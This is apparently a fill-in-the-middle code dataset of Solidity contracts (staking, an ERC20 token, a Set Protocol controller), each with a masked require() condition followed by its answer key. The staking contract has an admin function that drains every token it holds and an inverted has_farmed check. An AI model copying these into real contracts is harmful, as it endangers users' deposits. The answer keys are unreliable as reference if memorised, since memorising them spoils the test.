} require(IERC20(FarmToken).allowance(msg.sender, address(this)) >= _amount, "Allowance?"); if (time_allowed[locking].check_balance) { uint min_amount = IERC20(FarmToken).balanceOf(msg.sender) * time_allowed[locking].percentage_to_check / 100; require(_amount >= min_amount, "Pool not allowed for this amount of tokens."); } // Trasnfer farmable tokens to contract for farming bool transferred = IERC20(FarmToken).transferFrom(msg.sender, address(this), _amount); require(transferred, "Not transferred"); // Update the farming balance in mappings farm_id[msg.sender]++; uint id = farm_id[msg.sender]; farming_unit[msg.sender][id].locked_time = locking; farming_unit[msg.sender][id].balance = farming_unit[msg.sender][id].balance + _amount; farming_unit[msg.sender][id].deposit_time = block.timestamp; farming_unit[msg.sender][id].token = FarmToken; token_pool[FarmToken].total_balance += _amount; // Add user to farms array if they haven't farmd already if(token_pool[FarmToken].has_farmed[msg.sender]) { token_pool[FarmToken].has_farmed[msg.sender] = true; } // Update farming status to track token_pool[FarmToken].is_farming[msg.sender]++; farmer_pools[msg.sender].push(id); farming_unit[msg.sender][id].index = (farmer_pools[msg.sender].length)-1; } ///@dev Unfarm tokens (if not locked) function unfarmTokens(uint id) public safe cooldown { } ///@dev Give rewards and clear the reward status function issueInterestToken(uint id) public safe cooldown { } ///@dev return the general state of a pool function get_pool() public view returns (uint) { } ///@notice Private functions ///@dev Helper to calculate rewards in a quick and lightweight way function _calculate_rewards(uint id, address addy) public view returns (uint) { } ///@notice Control functions function get_farmer_pools(address farmer) public view returns(uint[] memory) { } function unstuck_tokens(address tkn) public authorized { } function set_time_allowed(uint time, bool enabled, bool check_balance, uint multiplier) public authorized { } function get_time_allowed(uint time) public view returns (time_pool memory) { } function get_times_array() public view returns(uint[] memory){ } function set_authorized(address addy, bool booly) public authorized { } function set_authorized(address addy) public onlyOwner { } function set_farming_state(bool status) public authorized { } function get_farming_state() public view returns (bool) { } function get_reward_rate() public view returns (uint) { } function get_reward_rate_timed(uint time) public view returns (uint) { } function set_reward_rate(uint rate) public authorized { } function set_early_withdraw_percentage_comission(uint _early_withdraw_percentage_comission) public authorized { } function set_early_withdraw_available(bool _early_withdraw_available) public authorized { } function set_squid_token(address token) public authorized { } function set_multiplier(uint time, uint multiplier) public authorized { } function set_is_fixed_locking(bool fixed_locking) public authorized { } function get_multiplier(uint time) public view returns(uint) { } ///@notice time helpers function get_1_day() public pure returns(uint) { } function get_3_days() public pure returns(uint) { } function get_1_month() public pure returns(uint) { } function get_2_months() public pure returns(uint) { } function get_x_days(uint x) public pure returns(uint) { } function get_single_pool(uint id, address addy) public view returns (farm_slot memory) { } function get_time_remaining(uint id, address addy) public view returns (uint) { } function get_pool_lock_time(uint id, address addy) public view returns (uint) { } function get_pool_balance(uint id, address addy) public view returns (uint) { } function get_pool_details(uint id, address addy) public view returns (uint, uint) { } receive() external payable {} fallback() external payable {} }
time_allowed[locking].enabled,"Locking time not allowed"
118,128
time_allowed[locking].enabled
"Allowance?"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom( address sender, address recipient, uint amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StakeContract { string public name; // create 2 state variables address public FarmToken; uint reward_rate; struct farm_slot { bool active; uint balance; uint deposit_time; uint locked_time; uint index; address token; } struct farm_pool { mapping(uint => uint) lock_multiplier; mapping(address => uint) is_farming; mapping(address => bool) has_farmed; uint total_balance; } struct time_pool { bool enabled; bool check_balance; uint percentage_to_check; uint multiplier; } address public owner; address[] public farms; uint[] public times; mapping(address => mapping(uint => farm_slot)) public farming_unit; mapping(address => uint[]) farmer_pools; mapping(address => farm_pool) public token_pool; mapping(address => uint) farm_id; mapping(address => bool) public is_farmable; mapping(address => uint) public last_tx; mapping(address => mapping(uint => uint)) public lock_multiplier; mapping(uint => time_pool) time_allowed; mapping(address => bool) public is_auth; uint256 cooldown_time = 10 seconds; bool is_fixed_locking = true; bool early_withdraw_available = true; uint early_withdraw_percentage_comission = 100; IERC20 token_reward; constructor(string memory _name, address _businessOwner, address _token) { } bool locked; modifier safe() { } modifier cooldown() { } modifier authorized() { } modifier onlyOwner() { } function has_finished (uint id, address addy) public view returns(bool) { } ///@notice Public farming functions ///@dev Approve function approveTokens() public { } ///@dev Deposit farmable tokens in the contract function farmTokens(uint _amount, uint locking) public { require(is_farmable[FarmToken], "Farming not supported"); if (is_fixed_locking) { require(time_allowed[locking].enabled, "Locking time not allowed"); } else { require(locking >= 1 days, "Locking time not allowed"); } require(<FILL_ME>) if (time_allowed[locking].check_balance) { uint min_amount = IERC20(FarmToken).balanceOf(msg.sender) * time_allowed[locking].percentage_to_check / 100; require(_amount >= min_amount, "Pool not allowed for this amount of tokens."); } // Trasnfer farmable tokens to contract for farming bool transferred = IERC20(FarmToken).transferFrom(msg.sender, address(this), _amount); require(transferred, "Not transferred"); // Update the farming balance in mappings farm_id[msg.sender]++; uint id = farm_id[msg.sender]; farming_unit[msg.sender][id].locked_time = locking; farming_unit[msg.sender][id].balance = farming_unit[msg.sender][id].balance + _amount; farming_unit[msg.sender][id].deposit_time = block.timestamp; farming_unit[msg.sender][id].token = FarmToken; token_pool[FarmToken].total_balance += _amount; // Add user to farms array if they haven't farmd already if(token_pool[FarmToken].has_farmed[msg.sender]) { token_pool[FarmToken].has_farmed[msg.sender] = true; } // Update farming status to track token_pool[FarmToken].is_farming[msg.sender]++; farmer_pools[msg.sender].push(id); farming_unit[msg.sender][id].index = (farmer_pools[msg.sender].length)-1; } ///@dev Unfarm tokens (if not locked) function unfarmTokens(uint id) public safe cooldown { } ///@dev Give rewards and clear the reward status function issueInterestToken(uint id) public safe cooldown { } ///@dev return the general state of a pool function get_pool() public view returns (uint) { } ///@notice Private functions ///@dev Helper to calculate rewards in a quick and lightweight way function _calculate_rewards(uint id, address addy) public view returns (uint) { } ///@notice Control functions function get_farmer_pools(address farmer) public view returns(uint[] memory) { } function unstuck_tokens(address tkn) public authorized { } function set_time_allowed(uint time, bool enabled, bool check_balance, uint multiplier) public authorized { } function get_time_allowed(uint time) public view returns (time_pool memory) { } function get_times_array() public view returns(uint[] memory){ } function set_authorized(address addy, bool booly) public authorized { } function set_authorized(address addy) public onlyOwner { } function set_farming_state(bool status) public authorized { } function get_farming_state() public view returns (bool) { } function get_reward_rate() public view returns (uint) { } function get_reward_rate_timed(uint time) public view returns (uint) { } function set_reward_rate(uint rate) public authorized { } function set_early_withdraw_percentage_comission(uint _early_withdraw_percentage_comission) public authorized { } function set_early_withdraw_available(bool _early_withdraw_available) public authorized { } function set_squid_token(address token) public authorized { } function set_multiplier(uint time, uint multiplier) public authorized { } function set_is_fixed_locking(bool fixed_locking) public authorized { } function get_multiplier(uint time) public view returns(uint) { } ///@notice time helpers function get_1_day() public pure returns(uint) { } function get_3_days() public pure returns(uint) { } function get_1_month() public pure returns(uint) { } function get_2_months() public pure returns(uint) { } function get_x_days(uint x) public pure returns(uint) { } function get_single_pool(uint id, address addy) public view returns (farm_slot memory) { } function get_time_remaining(uint id, address addy) public view returns (uint) { } function get_pool_lock_time(uint id, address addy) public view returns (uint) { } function get_pool_balance(uint id, address addy) public view returns (uint) { } function get_pool_details(uint id, address addy) public view returns (uint, uint) { } receive() external payable {} fallback() external payable {} }
IERC20(FarmToken).allowance(msg.sender,address(this))>=_amount,"Allowance?"
118,128
IERC20(FarmToken).allowance(msg.sender,address(this))>=_amount
"Locking time not finished"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom( address sender, address recipient, uint amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StakeContract { string public name; // create 2 state variables address public FarmToken; uint reward_rate; struct farm_slot { bool active; uint balance; uint deposit_time; uint locked_time; uint index; address token; } struct farm_pool { mapping(uint => uint) lock_multiplier; mapping(address => uint) is_farming; mapping(address => bool) has_farmed; uint total_balance; } struct time_pool { bool enabled; bool check_balance; uint percentage_to_check; uint multiplier; } address public owner; address[] public farms; uint[] public times; mapping(address => mapping(uint => farm_slot)) public farming_unit; mapping(address => uint[]) farmer_pools; mapping(address => farm_pool) public token_pool; mapping(address => uint) farm_id; mapping(address => bool) public is_farmable; mapping(address => uint) public last_tx; mapping(address => mapping(uint => uint)) public lock_multiplier; mapping(uint => time_pool) time_allowed; mapping(address => bool) public is_auth; uint256 cooldown_time = 10 seconds; bool is_fixed_locking = true; bool early_withdraw_available = true; uint early_withdraw_percentage_comission = 100; IERC20 token_reward; constructor(string memory _name, address _businessOwner, address _token) { } bool locked; modifier safe() { } modifier cooldown() { } modifier authorized() { } modifier onlyOwner() { } function has_finished (uint id, address addy) public view returns(bool) { } ///@notice Public farming functions ///@dev Approve function approveTokens() public { } ///@dev Deposit farmable tokens in the contract function farmTokens(uint _amount, uint locking) public { } ///@dev Unfarm tokens (if not locked) function unfarmTokens(uint id) public safe cooldown { } ///@dev Give rewards and clear the reward status function issueInterestToken(uint id) public safe cooldown { require(<FILL_ME>) uint balance = _calculate_rewards(id, msg.sender); token_reward.transfer(msg.sender, balance); // reset the time counter so it is not double paid farming_unit[msg.sender][id].deposit_time = block.timestamp; } ///@dev return the general state of a pool function get_pool() public view returns (uint) { } ///@notice Private functions ///@dev Helper to calculate rewards in a quick and lightweight way function _calculate_rewards(uint id, address addy) public view returns (uint) { } ///@notice Control functions function get_farmer_pools(address farmer) public view returns(uint[] memory) { } function unstuck_tokens(address tkn) public authorized { } function set_time_allowed(uint time, bool enabled, bool check_balance, uint multiplier) public authorized { } function get_time_allowed(uint time) public view returns (time_pool memory) { } function get_times_array() public view returns(uint[] memory){ } function set_authorized(address addy, bool booly) public authorized { } function set_authorized(address addy) public onlyOwner { } function set_farming_state(bool status) public authorized { } function get_farming_state() public view returns (bool) { } function get_reward_rate() public view returns (uint) { } function get_reward_rate_timed(uint time) public view returns (uint) { } function set_reward_rate(uint rate) public authorized { } function set_early_withdraw_percentage_comission(uint _early_withdraw_percentage_comission) public authorized { } function set_early_withdraw_available(bool _early_withdraw_available) public authorized { } function set_squid_token(address token) public authorized { } function set_multiplier(uint time, uint multiplier) public authorized { } function set_is_fixed_locking(bool fixed_locking) public authorized { } function get_multiplier(uint time) public view returns(uint) { } ///@notice time helpers function get_1_day() public pure returns(uint) { } function get_3_days() public pure returns(uint) { } function get_1_month() public pure returns(uint) { } function get_2_months() public pure returns(uint) { } function get_x_days(uint x) public pure returns(uint) { } function get_single_pool(uint id, address addy) public view returns (farm_slot memory) { } function get_time_remaining(uint id, address addy) public view returns (uint) { } function get_pool_lock_time(uint id, address addy) public view returns (uint) { } function get_pool_balance(uint id, address addy) public view returns (uint) { } function get_pool_details(uint id, address addy) public view returns (uint, uint) { } receive() external payable {} fallback() external payable {} }
has_finished(id,msg.sender),"Locking time not finished"
118,128
has_finished(id,msg.sender)
"No tokens"
// SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom( address sender, address recipient, uint amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract StakeContract { string public name; // create 2 state variables address public FarmToken; uint reward_rate; struct farm_slot { bool active; uint balance; uint deposit_time; uint locked_time; uint index; address token; } struct farm_pool { mapping(uint => uint) lock_multiplier; mapping(address => uint) is_farming; mapping(address => bool) has_farmed; uint total_balance; } struct time_pool { bool enabled; bool check_balance; uint percentage_to_check; uint multiplier; } address public owner; address[] public farms; uint[] public times; mapping(address => mapping(uint => farm_slot)) public farming_unit; mapping(address => uint[]) farmer_pools; mapping(address => farm_pool) public token_pool; mapping(address => uint) farm_id; mapping(address => bool) public is_farmable; mapping(address => uint) public last_tx; mapping(address => mapping(uint => uint)) public lock_multiplier; mapping(uint => time_pool) time_allowed; mapping(address => bool) public is_auth; uint256 cooldown_time = 10 seconds; bool is_fixed_locking = true; bool early_withdraw_available = true; uint early_withdraw_percentage_comission = 100; IERC20 token_reward; constructor(string memory _name, address _businessOwner, address _token) { } bool locked; modifier safe() { } modifier cooldown() { } modifier authorized() { } modifier onlyOwner() { } function has_finished (uint id, address addy) public view returns(bool) { } ///@notice Public farming functions ///@dev Approve function approveTokens() public { } ///@dev Deposit farmable tokens in the contract function farmTokens(uint _amount, uint locking) public { } ///@dev Unfarm tokens (if not locked) function unfarmTokens(uint id) public safe cooldown { } ///@dev Give rewards and clear the reward status function issueInterestToken(uint id) public safe cooldown { } ///@dev return the general state of a pool function get_pool() public view returns (uint) { } ///@notice Private functions ///@dev Helper to calculate rewards in a quick and lightweight way function _calculate_rewards(uint id, address addy) public view returns (uint) { } ///@notice Control functions function get_farmer_pools(address farmer) public view returns(uint[] memory) { } function unstuck_tokens(address tkn) public authorized { require(<FILL_ME>) uint amount = IERC20(tkn).balanceOf(address(this)); IERC20(tkn).transfer(msg.sender, amount); } function set_time_allowed(uint time, bool enabled, bool check_balance, uint multiplier) public authorized { } function get_time_allowed(uint time) public view returns (time_pool memory) { } function get_times_array() public view returns(uint[] memory){ } function set_authorized(address addy, bool booly) public authorized { } function set_authorized(address addy) public onlyOwner { } function set_farming_state(bool status) public authorized { } function get_farming_state() public view returns (bool) { } function get_reward_rate() public view returns (uint) { } function get_reward_rate_timed(uint time) public view returns (uint) { } function set_reward_rate(uint rate) public authorized { } function set_early_withdraw_percentage_comission(uint _early_withdraw_percentage_comission) public authorized { } function set_early_withdraw_available(bool _early_withdraw_available) public authorized { } function set_squid_token(address token) public authorized { } function set_multiplier(uint time, uint multiplier) public authorized { } function set_is_fixed_locking(bool fixed_locking) public authorized { } function get_multiplier(uint time) public view returns(uint) { } ///@notice time helpers function get_1_day() public pure returns(uint) { } function get_3_days() public pure returns(uint) { } function get_1_month() public pure returns(uint) { } function get_2_months() public pure returns(uint) { } function get_x_days(uint x) public pure returns(uint) { } function get_single_pool(uint id, address addy) public view returns (farm_slot memory) { } function get_time_remaining(uint id, address addy) public view returns (uint) { } function get_pool_lock_time(uint id, address addy) public view returns (uint) { } function get_pool_balance(uint id, address addy) public view returns (uint) { } function get_pool_details(uint id, address addy) public view returns (uint, uint) { } receive() external payable {} fallback() external payable {} }
IERC20(tkn).balanceOf(address(this))>0,"No tokens"
118,128
IERC20(tkn).balanceOf(address(this))>0
"Insufficient balance"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract SLPX is IERC20 { string public name = "Stealth Launch Platform"; string public symbol = "SLPX"; uint8 public decimals = 18; uint256 private _totalSupply = 1_000_000_000 * (10 ** uint256(decimals)); uint256 public buyTaxPercent = 1; uint256 public sellTaxPercent = 1; bool public taxesRemoved = true; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor() { } function _updateTax(uint256 amount, uint256 taxPercent) internal pure returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { require(recipient != address(0), "Transfer to the zero address"); uint256 finalAmount = amount; if (!taxesRemoved) { if (recipient == address(this) || recipient == address(0)) { finalAmount = _updateTax(amount, sellTaxPercent); } else { finalAmount = _updateTax(amount, buyTaxPercent); } } require(<FILL_ME>) _balances[msg.sender] -= finalAmount; _balances[recipient] += finalAmount; emit Transfer(msg.sender, recipient, finalAmount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } }
_balances[msg.sender]>=finalAmount,"Insufficient balance"
118,149
_balances[msg.sender]>=finalAmount
"Insufficient balance"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract SLPX is IERC20 { string public name = "Stealth Launch Platform"; string public symbol = "SLPX"; uint8 public decimals = 18; uint256 private _totalSupply = 1_000_000_000 * (10 ** uint256(decimals)); uint256 public buyTaxPercent = 1; uint256 public sellTaxPercent = 1; bool public taxesRemoved = true; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor() { } function _updateTax(uint256 amount, uint256 taxPercent) internal pure returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(sender != address(0), "Transfer from the zero address"); require(recipient != address(0), "Transfer to the zero address"); uint256 finalAmount = amount; if (!taxesRemoved) { if (recipient == address(this) || recipient == address(0)) { finalAmount = _updateTax(amount, sellTaxPercent); } else { finalAmount = _updateTax(amount, buyTaxPercent); } } require(<FILL_ME>) require(_allowances[sender][msg.sender] >= finalAmount, "Allowance exceeded"); _balances[sender] -= finalAmount; _balances[recipient] += finalAmount; _allowances[sender][msg.sender] -= finalAmount; emit Transfer(sender, recipient, finalAmount); return true; } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } }
_balances[sender]>=finalAmount,"Insufficient balance"
118,149
_balances[sender]>=finalAmount
"Allowance exceeded"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract SLPX is IERC20 { string public name = "Stealth Launch Platform"; string public symbol = "SLPX"; uint8 public decimals = 18; uint256 private _totalSupply = 1_000_000_000 * (10 ** uint256(decimals)); uint256 public buyTaxPercent = 1; uint256 public sellTaxPercent = 1; bool public taxesRemoved = true; mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; constructor() { } function _updateTax(uint256 amount, uint256 taxPercent) internal pure returns (uint256) { } function transfer(address recipient, uint256 amount) public override returns (bool) { } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(sender != address(0), "Transfer from the zero address"); require(recipient != address(0), "Transfer to the zero address"); uint256 finalAmount = amount; if (!taxesRemoved) { if (recipient == address(this) || recipient == address(0)) { finalAmount = _updateTax(amount, sellTaxPercent); } else { finalAmount = _updateTax(amount, buyTaxPercent); } } require(_balances[sender] >= finalAmount, "Insufficient balance"); require(<FILL_ME>) _balances[sender] -= finalAmount; _balances[recipient] += finalAmount; _allowances[sender][msg.sender] -= finalAmount; emit Transfer(sender, recipient, finalAmount); return true; } function totalSupply() public view override returns (uint256) { } function balanceOf(address account) public view override returns (uint256) { } function allowance(address owner, address spender) public view override returns (uint256) { } function approve(address spender, uint256 amount) public override returns (bool) { } }
_allowances[sender][msg.sender]>=finalAmount,"Allowance exceeded"
118,149
_allowances[sender][msg.sender]>=finalAmount
"Only valid factories can call"
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { require(<FILL_ME>) _; } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a factory * * @param _factory Address of the factory contract to remove */ function removeFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a module * * @param _module Address of the module contract to add */ function addModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a module * * @param _module Address of the module contract to remove */ function removeModule(address _module) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a resource * * @param _resource Address of the resource contract to add * @param _id New ID of the resource contract */ function addResource(address _resource, uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a resource * * @param _id ID of the resource contract to remove */ function removeResource(uint256 _id) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a fee to a module * * @param _module Address of the module contract to add fee to * @param _feeType Type of the fee to add in the module * @param _newFeePercentage Percentage of fee to add in the module (denominated in preciseUnits eg 1% = 1e16) */ function addFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit a fee in an existing module * * @param _module Address of the module contract to edit fee * @param _feeType Type of the fee to edit in the module * @param _newFeePercentage Percentage of fee to edit in the module (denominated in preciseUnits eg 1% = 1e16) */ function editFee(address _module, uint256 _feeType, uint256 _newFeePercentage) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to edit the protocol fee recipient * * @param _newFeeRecipient Address of the new protocol fee recipient */ function editFeeRecipient(address _newFeeRecipient) external onlyInitialized onlyOwner { } /* ============ External Getter Functions ============ */ function getModuleFee( address _moduleAddress, uint256 _feeType ) external view returns (uint256) { } function getFactories() external view returns (address[] memory) { } function getModules() external view returns (address[] memory) { } function getResources() external view returns (address[] memory) { } function getSets() external view returns (address[] memory) { } /** * Check if a contract address is a module, Set, resource, factory or controller * * @param _contractAddress The contract address to check */ function isSystemContract(address _contractAddress) external view returns (bool) { } }
isFactory[msg.sender],"Only valid factories can call"
118,230
isFactory[msg.sender]
"Zero address submitted."
/* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. SPDX-License-Identifier: Apache License, Version 2.0 */ pragma solidity 0.6.10; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { AddressArrayUtils } from "../lib/AddressArrayUtils.sol"; /** * @title Controller * @author Set Protocol * * Contract that houses state for approvals and system contracts such as added Sets, * modules, factories, resources (like price oracles), and protocol fee configurations. */ contract Controller is Ownable { using AddressArrayUtils for address[]; /* ============ Events ============ */ event FactoryAdded(address indexed _factory); event FactoryRemoved(address indexed _factory); event FeeEdited(address indexed _module, uint256 indexed _feeType, uint256 _feePercentage); event FeeRecipientChanged(address _newFeeRecipient); event ModuleAdded(address indexed _module); event ModuleRemoved(address indexed _module); event ResourceAdded(address indexed _resource, uint256 _id); event ResourceRemoved(address indexed _resource, uint256 _id); event SetAdded(address indexed _setToken, address indexed _factory); event SetRemoved(address indexed _setToken); /* ============ Modifiers ============ */ /** * Throws if function is called by any address other than a valid factory. */ modifier onlyFactory() { } modifier onlyInitialized() { } /* ============ State Variables ============ */ // List of enabled Sets address[] public sets; // List of enabled factories of SetTokens address[] public factories; // List of enabled Modules; Modules extend the functionality of SetTokens address[] public modules; // List of enabled Resources; Resources provide data, functionality, or // permissions that can be drawn upon from Module, SetTokens or factories address[] public resources; // Mappings to check whether address is valid Set, Factory, Module or Resource mapping(address => bool) public isSet; mapping(address => bool) public isFactory; mapping(address => bool) public isModule; mapping(address => bool) public isResource; // Mapping of modules to fee types to fee percentage. A module can have multiple feeTypes // Fee is denominated in precise unit percentages (100% = 1e18, 1% = 1e16) mapping(address => mapping(uint256 => uint256)) public fees; // Mapping of resource ID to resource address, which allows contracts to fetch the correct // resource while providing an ID mapping(uint256 => address) public resourceId; // Recipient of protocol fees address public feeRecipient; // Return true if the controller is initialized bool public isInitialized; /* ============ Constructor ============ */ /** * Initializes the initial fee recipient on deployment. * * @param _feeRecipient Address of the initial protocol fee recipient */ constructor(address _feeRecipient) public { } /* ============ External Functions ============ */ /** * Initializes any predeployed factories, modules, and resources post deployment. Note: This function can * only be called by the owner once to batch initialize the initial system contracts. * * @param _factories List of factories to add * @param _modules List of modules to add * @param _resources List of resources to add * @param _resourceIds List of resource IDs associated with the resources */ function initialize( address[] memory _factories, address[] memory _modules, address[] memory _resources, uint256[] memory _resourceIds ) external onlyOwner { require(!isInitialized, "Controller is already initialized"); require(_resources.length == _resourceIds.length, "Array lengths do not match."); factories = _factories; modules = _modules; resources = _resources; // Loop through and initialize isModule, isFactory, and isResource mapping for (uint256 i = 0; i < _factories.length; i++) { require(<FILL_ME>) isFactory[_factories[i]] = true; } for (uint256 i = 0; i < _modules.length; i++) { require(_modules[i] != address(0), "Zero address submitted."); isModule[_modules[i]] = true; } for (uint256 i = 0; i < _resources.length; i++) { require(_resources[i] != address(0), "Zero address submitted."); require(resourceId[_resourceIds[i]] == address(0), "Resource ID already exists"); isResource[_resources[i]] = true; resourceId[_resourceIds[i]] = _resources[i]; } // Set to true to only allow initialization once isInitialized = true; } /** * PRIVILEGED FACTORY FUNCTION. Adds a newly deployed SetToken as an enabled SetToken. * * @param _setToken Address of the SetToken contract to add */ function addSet(address _setToken) external onlyInitialized onlyFactory { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to remove a Set * * @param _setToken Address of the SetToken contract to remove */ function removeSet(address _setToken) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to add a factory * * @param _factory Address of the factory contract to add */ function addFactory(address _factory) external onlyInitialized onlyOwner { } /** * PRIVILEGED GOVERNANCE FUNCTION. Allows governance to 